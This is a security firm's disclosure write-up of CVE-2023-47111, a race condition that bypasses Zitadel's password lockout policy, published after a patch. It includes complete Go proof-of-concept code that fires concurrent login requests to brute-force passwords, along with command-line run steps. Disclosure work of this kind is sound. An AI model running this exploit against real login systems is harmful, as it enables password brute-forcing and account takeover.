ZX Security


Security Feature Bypass In Zitadel – Race Condition

Jack Moran discovered a security feature bypass via a race condition within the Zitadel “password lockout policy” feature.

Published on

Introduction

In his own time, Jack Moran, with the aid of Ethan McKee-Harris, discovered a security feature bypass of the Zitadel “password lockout policy” feature. This feature was found to be susceptible to a race condition which, when exploited, could allow for many brute-force login attempts to be processed successfully before triggering the password lockout policy. This issue has been classified as a 7.3 (High) and recorded with the following identifier: CVE-2023-47111.

Throughout the disclosure process, Zitadel have been proactive in their engagement with ZX Security, resulting in a patched version of the platform being released in under a week. This was due to clear and responsive communication, allowing for quick triaging and remediation of the vulnerability.

What is Zitadel?

Zitadel is a unified identity infrastructure built as an open-source project that helps engineers focus their time on business features. Zitadel supports B2B, B2C and M2M settings while it provides crucial turnkey features like a hosted login, passwordless and multifactor authentication, authorization, single sign-on, OpenID Connect, SAML, extensibility with code (actions), APIs for everything and much more.

Vulnerability Discovery

After Ethan Mckee-Harris discovered CVE-2023-46238 (which you can read about here) during his testing of a Zitadel deployment, Jack Moran undertook additional research of the Zitadel platform in preparation for his talk at CHCon 2023.

This research revealed that the Zitadel platform provides a “password lockout policy” feature, that can be configured to lock out users in the event that too many failed authentication attempts are made. However, this feature appeared to be subject to a race condition similar to one Jack previously discovered in Microsoft’s ASP.NET SignInManager (read more here). By sending requests concurrently to the sign-in function located at /ui/login/password it resulted in a large number of these requests being processed before the configured password lockout policy being triggered.

Testing revealed that the race condition could be exploited without any need for a last-byte-sync attack or single-packet attack, and could be exploited just by sending crafted requests concurrently and as fast as possible, making this race condition trivial to exploit. Off-the-shelf tools such as Burp Suite’s intruder, and Turbo Intruder could also be used to execute this attack.

A proof of concept (PoC) was developed to exploit this issue in addition to using the aforementioned tooling in order to initially isolate it.

Proof of concept video

Proof of concept code

package main

import (
  "crypto/tls"
  "flag"
  "fmt"
  "io"
  "math/rand"
  "net"
  "net/http"
  "net/url"
  "strconv"
  "strings"
  "syscall"
  "time"
)

func race(fqdn string, cookieLoginCSRF string, cookieUserAgent string, paramGorillaCSRFToken string, paramAuthRequestID string, paramLoginName string, password string, channel chan string) {
  
  // Create a proxy to use in the HTTP transport
  proxyURL, proxyError := url.Parse("http://127.0.0.1:8081")
  if proxyError != nil {
    // Return an error to indicate a proxy couldnt be created
    fmt.Println("Error parsing proxy URL:", proxyError)
    return
  }

  // Create a HTTP transport
  transport := &http.Transport {
    Proxy: http.ProxyURL(proxyURL),
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    ForceAttemptHTTP2: true,
    DialContext: (&net.Dialer {
      Timeout:   30 * time.Second,
      KeepAlive: 30 * time.Second,
      DualStack: true,
      Control: func(network, address string, c syscall.RawConn) error {
        var fn = func(s uintptr) {
        syscall.SetsockoptInt(int(s), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
  }
        return c.Control(fn)
      },
    }).DialContext,
  }
  
  // Create a client with the custom transport, that does not follow redirects...
  client := &http.Client{
    Transport: transport,
    CheckRedirect: func(req *http.Request, via []*http.Request) error {
      // Return an error to prevent redirects
      return http.ErrUseLastResponse
    },
  }

  // Set request body paramaters
  data := url.Values{}
  data.Set("gorilla.csrf.Token", paramGorillaCSRFToken)
  data.Set("authRequestID", paramAuthRequestID)
  data.Set("loginName", paramLoginName)
  data.Set("password", fmt.Sprintf("%v", password))
  postBody := strings.NewReader(data.Encode())

  // Create a new request
  createPostRequest, createPostRequestError := http.NewRequest("POST", fqdn, postBody)
  if createPostRequestError != nil {
    // Return an error to indicate a request could not be created
    fmt.Println("Error creating request:", createPostRequestError)
    return
  }

  // Set request headers and cookies
  createPostRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
  createPostRequest.AddCookie(&http.Cookie{Name: "zitadel.login.csrf", Value: cookieLoginCSRF})
  createPostRequest.AddCookie(&http.Cookie{Name: "zitadel.useragent", Value: cookieUserAgent})

  // Send HTTP request
  sendPostRequest, sendPostRequestError := client.Do(createPostRequest)
  if sendPostRequestError != nil {
    // Return an error to indicate a request could not be made
    fmt.Println("Error making request:", sendPostRequestError)
    return
  }
  defer sendPostRequest.Body.Close()

  // Read HTTP response
  readResponseBody, readResponseBodyError := io.ReadAll(sendPostRequest.Body)
  if readResponseBodyError != nil {
    // Return an error to indicate a the response body could not be read
    fmt.Println("Error reading response body:", readResponseBodyError)
    return
  }

  responseText := string(readResponseBody)

  // ======================================================================================================
  // (TRYING TO) ACCOUNT FOR ALL OBSERVED CASES
  // 	1. Fail cases:
  //     - Login failed - HTTP Response body contains ("Password is invalid")
  //     - CSRF token invalid - HTTP Response body contain ("CSRF token invalid (Internal)")
  //     - Login locked - HTTP Response body contains ("User is locked") and does not contain ("An internal error occurred")
  //
  // 2. Indeterminate success cases:
  //     - User locked (Internal) - HTTP Response body contains ("User is locked") and contains ("An internal error occurred") <- This could either be a success or a fail check the logs
  //     - SQLSTATE error - HTTP Response body contains ("SQLSTATE") <- This could either be a success or a fail check the logs, most of the time it appears to be a fail.
  //
  // 3. Success cases:
  //     - Login success - redirect
  //     - Login success - no redirect and HTTP Response body does not contain ("lgn-error-message")
  //
  // NOTES:
  //     - Due to the nature of racing, it appears that two cases can determine if auth has worked
  //     - The expected outcome is a 302 response.
  //     - The unexpected outcome a 200 response.
  // ======================================================================================================

  if strings.Contains(responseText, "Password is invalid") {
    // Login fail case
    fmt.Printf("[\033[31m!\033[0m] Login failed -- Password: %s\n", password)
  } else if strings.Contains(responseText, "CSRF token invalid (Internal)") {
    // CSRF token invalid
    fmt.Println("[\033[31m!\033[0m] Looks Like You Need To Update Your CSRF Token")
  } else if strings.Contains(responseText, "User is locked") && !strings.Contains(responseText, "An internal error occurred") {
    // Login locked - not an internal error
    fmt.Printf("[\033[33m-\033[0m] Login locked -- Password: %s\n", password)
  } else if strings.Contains(responseText, "User is locked") && strings.Contains(responseText, "An internal error occurred") {
    // Login locked - An internal error - Logs indicate that this can be a successful login  *SIGH*
    fmt.Printf("[\033[33m?\033[0m] Login locked - Internal error detected - check logs! -- Password: %s\n", password)
  } else if strings.Contains(responseText, "SQLSTATE") {
    // SQLSTATE - SQL ERROR - Logs indicate that this can be a successful login *SIGH*
    fmt.Printf("[\033[33m?\033[0m] SQLSTATE - SQL error detected - check logs! -- Password: %s\n", password)
  } else if !strings.Contains(responseText, "lgn-error-message") {
    // Login success - No redirect or lgn-error-message - Logs indicate that this can be a successful login *SIGH*
    fmt.Printf("[\033[32m✓\033[0m] Login Success - No redirect detected or lgn-error-message - Check Logs! -- Password: %s\n", password)
  } else if sendPostRequest.StatusCode == 302 {
    // Login success
    fmt.Printf("[\033[32m✓\033[0m] Login Success - Redirection Detected -- Password: %s\n", password)
  }
}

func main() {
  //Create an argument parser
  numberOfRequestsPtr := flag.Int("number_of_requests", 0, "number of tasks")
  urlPtr := flag.String("zitadel_url", "", "URL")
  cookieLoginCsrfPtr := flag.String("zitadel_cookie_login_csrf", "", "Cookie Login CSRF")
  cookieUserAgentPtr := flag.String("zitadel_cookie_useragent", "", "Cookie UserAgent")
  paramCsrfPtr := flag.String("zitadel_param_csrf", "", "Parameter CSRF")
  paramAuthRequestIDPtr := flag.String("zitadel_param_auth_request_id", "", "Parameter Auth Request ID")
  paramLoginNamePtr := flag.String("zitadel_param_login_name", "", "Parameter Login Name")
  flag.Parse()

  // Define additional variables
  channel := make(chan string)
  randomPoint := rand.Intn(*numberOfRequestsPtr)

  for i := 0; i < *numberOfRequestsPtr; i++ {
    randomPassword := "Aa" + strconv.Itoa(rand.Int()) + "!"
    if i == randomPoint {
      randomPassword = "Password2!"
    }
    go race(*urlPtr, *cookieLoginCsrfPtr, *cookieUserAgentPtr, *paramCsrfPtr, *paramAuthRequestIDPtr, *paramLoginNamePtr, randomPassword, channel)
  }

  // Collect the results or completion signals
  for i := 0; i < *numberOfRequestsPtr; i++ {
    fmt.Println(<-channel)
  }
}

Proof of Concept reproduction steps

  //////
  // TO RUN:
  // Please replace values within ' ' with values from the application:
  // ./race-to-auth-zitidel \
  //  --zitadel_url ' ' \
  //  --zitadel_cookie_login_csrf ' ' \
  //  --zitadel_cookie_useragent ' ' \
  //  --zitadel_param_csrf ' ' \
  //  --zitadel_param_auth_request_id ' ' \
  //  --zitadel_param_login_name ' ' \
  //  --numberOfRequests 20
  //
  // By: itz_d0dgy
  //////

Fixed Releases

Update to the latest version of Zitadel. It has been patched in the following versions:

Vulnerability Disclosure Timeline (NZT):

  • 27/10/2023 - Race condition discovered
  • 31/10/2023 - Race condition disclosed
  • 01/11/2023 - Zitadel acknowledges the disclosure and begins internal testing
  • 04/11/2023 - Zitadel validates vulnerability disclosure
  • 07/11/2023 - Zitadel issues CVE using Github CNA
  • 08/11/2023 - Zitadel publishes advisory and fix
  • 13/11/2023 - Blog post released

References